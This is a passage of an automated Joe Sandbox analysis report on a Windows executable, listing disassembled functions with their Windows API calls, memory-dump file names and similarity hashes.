DeleteObject.GDI32 ref: 00007FF6FE1AB095
DeleteObject.GDI32 ref: 00007FF6FE1AB0C5

Part of subcall function 00007FF6FE1A8624: FindResourceW.KERNEL32 ref: 00007FF6FE1A863D
Part of subcall function 00007FF6FE1A8624: SizeofResource.KERNEL32 ref: 00007FF6FE1A8659
Part of subcall function 00007FF6FE1A8624: LoadResource.KERNEL32 ref: 00007FF6FE1A8673
Part of subcall function 00007FF6FE1A8624: LockResource.KERNEL32 ref: 00007FF6FE1A8685
Part of subcall function 00007FF6FE1A8624: GlobalAlloc.KERNELBASE ref: 00007FF6FE1A86A6
Part of subcall function 00007FF6FE1A8624: GlobalLock.KERNEL32 ref: 00007FF6FE1A86BB
Part of subcall function 00007FF6FE1A8624: CreateStreamOnHGlobal.COMBASE ref: 00007FF6FE1A86E8
Part of subcall function 00007FF6FE1A8624: GdipAlloc.GDIPLUS ref: 00007FF6FE1A86FE
Part of subcall function 00007FF6FE1A8624: GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF6FE1A8769
Part of subcall function 00007FF6FE1A8624: GlobalUnlock.KERNEL32 ref: 00007FF6FE1A878C
Part of subcall function 00007FF6FE1A8624: GlobalFree.KERNEL32 ref: 00007FF6FE1A8795

Strings

], xrefs: 00007FF6FE1AB063

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Global$Resource$Object$AllocBitmapCreateDeleteGdipLoadLock$FindFreeFromSizeofStreamUnlock
String ID: ]
API String ID: 3561356813-3352871620
Opcode ID: 2f79d63664e457f963bfbd157e1c525b341384e02eb8e860e1f42d2dee528bbf
Instruction ID: 0e7add47ae3c0bfa1c523fd4e41ccf88122c007ab42dd1903a463563a8256375
Opcode Fuzzy Hash: 2f79d63664e457f963bfbd157e1c525b341384e02eb8e860e1f42d2dee528bbf
Instruction Fuzzy Hash: 4C114221F4968241FB74DB13A65467D5AA1AFE8FC0F080034F96D87BD9FE6DE8488600

Function 00007FF6FE1AAE1C Relevance: 7.5, APIs: 5, Instructions: 27
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32 ref: 00007FF6FE1AAE32
GetMessageW.USER32 ref: 00007FF6FE1AAE49
IsDialogMessageW.USER32 ref: 00007FF6FE1AAE60
TranslateMessage.USER32 ref: 00007FF6FE1AAE6F
DispatchMessageW.USER32 ref: 00007FF6FE1AAE7A

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 8f901ab8bb575df3ccfb48a5cb3294f091b017f84468599a2020223c8e70b7dc
Instruction ID: 16ff9fe5f1bf521fb8c40e3fd0d951f33d533ea5a9dd50cd050b8fbf73d07bfc
Opcode Fuzzy Hash: 8f901ab8bb575df3ccfb48a5cb3294f091b017f84468599a2020223c8e70b7dc
Instruction Fuzzy Hash: EFF0EC25E3894282FB50DB22EC95A362761BFE4B05F805535F65E81C94EF6CE549CB00

Function 00007FF6FE1A91E8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32 ref: 00007FF6FE1A9211
SHAutoComplete.SHLWAPI ref: 00007FF6FE1A9255

Part of subcall function 00007FF6FE1A13C4: CompareStringW.KERNEL32 ref: 00007FF6FE1A13E3

FindWindowExW.USER32 ref: 00007FF6FE1A923F

Strings

EDIT, xrefs: 00007FF6FE1A921B, 00007FF6FE1A9233

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 5198dd27efd6ef2cfe81d4e1a42d30dc263c523227a297f5f4c02164b2b5e029
Instruction ID: b079403b025e0d9b583a1fdfa45a8c02897cbb6a57d11d9ec0998d0d3ffb9923
Opcode Fuzzy Hash: 5198dd27efd6ef2cfe81d4e1a42d30dc263c523227a297f5f4c02164b2b5e029
Instruction Fuzzy Hash: 37014F61F18A4281FB20DB23B8107F66791AFF8B40F440131E96EC66E5FE2CE18DC640

Function 00007FF6FE192CE0 Relevance: 6.1, APIs: 4, Instructions: 136
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(00007FF6FE198C9A), ref: 00007FF6FE192D22
WriteFile.KERNEL32 ref: 00007FF6FE192D6C
WriteFile.KERNELBASE ref: 00007FF6FE192D9A

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: c0878563cb540de980db5307815f43949119fc8f7ca07e724854b0feeef95fd0
Instruction ID: 0b65779aff5cdd9ff988742aa83038861d667f856e0248e4d44d35e8dda70c43
Opcode Fuzzy Hash: c0878563cb540de980db5307815f43949119fc8f7ca07e724854b0feeef95fd0
Instruction Fuzzy Hash: EC51B362F1964252FB50CB26E4447BE6B90BBE5B94F541131FA2E87AD8EF7CE485C300

Function 00007FF6FE1B03E0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32 ref: 00007FF6FE1B0556
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1B05C1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1B05C7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1B05CD

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$TextWindow
String ID:
API String ID: 2912839123-0
Opcode ID: 82d20ed81ead71c6a2595868c689d656b3dfef2fae7ade5912c5b966e821e875
Instruction ID: 839a8a5ae1769b0ab1b18c4df19d63d16c52429dd1c40fbd5c6f73c894e64dca
Opcode Fuzzy Hash: 82d20ed81ead71c6a2595868c689d656b3dfef2fae7ade5912c5b966e821e875
Instruction Fuzzy Hash: F85193A2F1465284FB00DBA6D8452AD2722AFE5BA4F500635FA3D96BE5FF6CE544C300

Function 00007FF6FE1B2D6C Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF6FE1B2D7B

Part of subcall function 00007FF6FE1B27FC: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6FE1B281E

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6FE1B2D90
__scrt_release_startup_lock.LIBCMT ref: 00007FF6FE1B2DFE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6FE1B2E51

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: f380b52e8f95e6a0f24ce785192d8cb773bc143ddf3d62aee805abe4fb8ed354
Instruction ID: 4c84f2dd840be902f139ea66633cc8c6b7bc6fac056b5823674afc175e6f0144
Opcode Fuzzy Hash: f380b52e8f95e6a0f24ce785192d8cb773bc143ddf3d62aee805abe4fb8ed354
Instruction Fuzzy Hash: 27310621E0824282FB54EB6794513BA2A91AFE5384F440434FA6ECB7D3FE6CB849C251

Function 00007FF6FE193684 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,00000000,?,00007FF6FE19309D), ref: 00007FF6FE1936CE
CreateDirectoryW.KERNEL32 ref: 00007FF6FE193733
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF6FE19309D), ref: 00007FF6FE193791
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1937CE

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2359106489-0
Opcode ID: 623c7cdad90b96bec9a950f5b6d0d98be22cc1c56ccb42caf94d3fb3334d27cf
Instruction ID: ee5ef96d7f2aa36bd6957c878b868a222db494ba19558a9d07e060973999475a
Opcode Fuzzy Hash: 623c7cdad90b96bec9a950f5b6d0d98be22cc1c56ccb42caf94d3fb3334d27cf
Instruction Fuzzy Hash: DD319266E0C68241EB24DB27A48427E6761BFE97A0F540231FEADC37D9EF3CE5458600

Function 00007FF6FE192320 Relevance: 6.1, APIs: 4, Instructions: 58fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,?,00000000,00007FF6FE192927,?,00100000,?,00000001,00000000,00000000,?,00007FF6FE1914C1), ref: 00007FF6FE192348
ReadFile.KERNELBASE ref: 00007FF6FE192367
GetLastError.KERNEL32 ref: 00007FF6FE19239B
GetLastError.KERNEL32 ref: 00007FF6FE1923BA

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 5dece825d5be91adec6864fa12bb564f4e3b5809c08bfde6ef0babe01e3581d0
Instruction ID: a44b4d8f8bd4970b9bd440d27087c792e8b7e4ce12fe23bd2eddc1dbfa058e76
Opcode Fuzzy Hash: 5dece825d5be91adec6864fa12bb564f4e3b5809c08bfde6ef0babe01e3581d0
Instruction Fuzzy Hash: F7216D22E1854281FB60DB13B40023D6BA0BBE9B94F144530EA6DC76C8EF6CEA85C751

Function 00007FF6FE19E948 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FE19ECD8: ResetEvent.KERNEL32 ref: 00007FF6FE19ECF1
Part of subcall function 00007FF6FE19ECD8: ReleaseSemaphore.KERNEL32 ref: 00007FF6FE19ED07

ReleaseSemaphore.KERNEL32 ref: 00007FF6FE19E974
CloseHandle.KERNELBASE ref: 00007FF6FE19E993
DeleteCriticalSection.KERNEL32 ref: 00007FF6FE19E9AA
CloseHandle.KERNEL32 ref: 00007FF6FE19E9B7

Part of subcall function 00007FF6FE19EA5C: WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,00007FF6FE19E95F,?,?,?,00007FF6FE19463A,?,?,?), ref: 00007FF6FE19EA63
Part of subcall function 00007FF6FE19EA5C: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF6FE19E95F,?,?,?,00007FF6FE19463A,?,?,?), ref: 00007FF6FE19EA6E

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: CloseHandleReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 502429940-0
Opcode ID: 7c4c69b688bb09167c3d8ec6f4195a818a409db0987586a56ae23aa503e7e0cd
Instruction ID: cfd8db01ffbd9bc483ef5db3fc6b039e75e2431c71645652b61996eba645b1a4
Opcode Fuzzy Hash: 7c4c69b688bb09167c3d8ec6f4195a818a409db0987586a56ae23aa503e7e0cd
Instruction Fuzzy Hash: 6301E133E14A9196E744DB26D9842AE6761FBD4B90F004031EB6E836A5DF39F4B58740

Function 00007FF6FE19EAA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00007FF6FE19EAE0
SetThreadPriority.KERNEL32 ref: 00007FF6FE19EB36

Strings

CreateThread failed, xrefs: 00007FF6FE19EAEE

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Thread$CreatePriority
String ID: CreateThread failed
API String ID: 2610526550-3849766595
Opcode ID: cf4f3858e1c5421656891f758a667cd72a6f2059ba57d4f8d940dbc9b5e0f540
Instruction ID: e1c068b918463419ed8b91d0633b98c177b3dce709d677289d4f896843b87715
Opcode Fuzzy Hash: cf4f3858e1c5421656891f758a667cd72a6f2059ba57d4f8d940dbc9b5e0f540
Instruction Fuzzy Hash: 95118231E08A4281E710DF16E8811AE7BA1FBE4784F544131FA6E826A8FF3CE546C740

Function 00007FF6FE1A946C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FE19DFD0: GetSystemDirectoryW.KERNEL32 ref: 00007FF6FE19DDDF

OleInitialize.OLE32 ref: 00007FF6FE1A9486
SHGetMalloc.SHELL32 ref: 00007FF6FE1A94D4

Strings

riched20.dll, xrefs: 00007FF6FE1A9475

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: DirectoryInitializeMallocSystem
String ID: riched20.dll
API String ID: 174490985-3360196438
Opcode ID: b1936b3f38021c99ecd6522b050f6163774a90ef7a51b133bb98bdb322c125e4
Instruction ID: dadd1a0044ae88fab41caf01918e519359d11ae04ae0c559e5f82cb851f9ef9d
Opcode Fuzzy Hash: b1936b3f38021c99ecd6522b050f6163774a90ef7a51b133bb98bdb322c125e4
Instruction Fuzzy Hash: F9F03171A18A4182E701DF61F81516EBBA0FBD8754F440135F59D82B94EFBCE15DCB00

Function 00007FF6FE1A095C Relevance: 4.7, APIs: 3, Instructions: 152windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FE1A853C: GlobalMemoryStatusEx.KERNEL32 ref: 00007FF6FE1A856C

Part of subcall function 00007FF6FE19AAE0: LoadStringW.USER32 ref: 00007FF6FE19AB67
Part of subcall function 00007FF6FE19AAE0: LoadStringW.USER32 ref: 00007FF6FE19AB80

Part of subcall function 00007FF6FE181FA0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE181FFB

Part of subcall function 00007FF6FE18129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6FE181396

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1B01BB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1B01C1
SendDlgItemMessageW.USER32 ref: 00007FF6FE1B01F2

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$LoadString$Concurrency::cancel_current_taskGlobalItemMemoryMessageSendStatus
String ID:
API String ID: 3106221260-0
Opcode ID: 48f7460856490a08a1dfbaf42e0e8179e100db638ce86cb13893e8b540cb7b7b
Instruction ID: 8eb160bf6a8ea154f73ed63675bce16e7eee514476e7e380ff486fca50d4c38e
Opcode Fuzzy Hash: 48f7460856490a08a1dfbaf42e0e8179e100db638ce86cb13893e8b540cb7b7b
Instruction Fuzzy Hash: 2651A062F0564286FB10DBA6D4452FD2722ABE9BD4F500236FE2D977DAEE2CE505C340

Function 00007FF6FE1AA834 Relevance: 4.6, APIs: 3, Instructions: 133registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FF6FE1AA877
RegCloseKey.ADVAPI32 ref: 00007FF6FE1AA9B9

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: CloseOpen
String ID:
API String ID: 47109696-0
Opcode ID: 0f06b49406f4057e3343d9a592e31a84ef821720d6a629a1401e68756b981839
Instruction ID: e1484e85f982df5d18daf4bb0f6f2d63c1d49239a4c716789aec42528954f0d0
Opcode Fuzzy Hash: 0f06b49406f4057e3343d9a592e31a84ef821720d6a629a1401e68756b981839
Instruction Fuzzy Hash: 4F51A272F14A0685EB20CF66D8442BD2771FB98BC8B044635EF6D93B98EE38D185C740

Function 00007FF6FE181744 Relevance: 4.6, APIs: 3, Instructions: 118COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18189C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6FE1818A8
__std_exception_copy.LIBVCRUNTIME ref: 00007FF6FE1818D4

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task__std_exception_copy_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2371198981-0
Opcode ID: c8b991f6ad29d02e2a9234a5c117321120c7b256ccc0562f874d361185e6e539
Instruction ID: 716aee659f2bdf65c4226877bd02c7bd3dfb9572af00c3deb8c272b998fde11f
Opcode Fuzzy Hash: c8b991f6ad29d02e2a9234a5c117321120c7b256ccc0562f874d361185e6e539
Instruction Fuzzy Hash: D7411E62F0864581EB04DB13E54027AA766EBA4BE0F044632EE7C8BBD5EF7CE195C304

Function 00007FF6FE192134 Relevance: 4.6, APIs: 3, Instructions: 114fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FF6FE1921CF
CreateFileW.KERNEL32 ref: 00007FF6FE19223C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1922D8

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: CreateFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2272807158-0
Opcode ID: fadebd8b54f10f1951c29d3e9f7df512abc916790a43b14df76b265dc45515ba
Instruction ID: 93fc3661bc37395e4584981dd9c6d52cfdda4fed79d019058cf5fb53cd435761
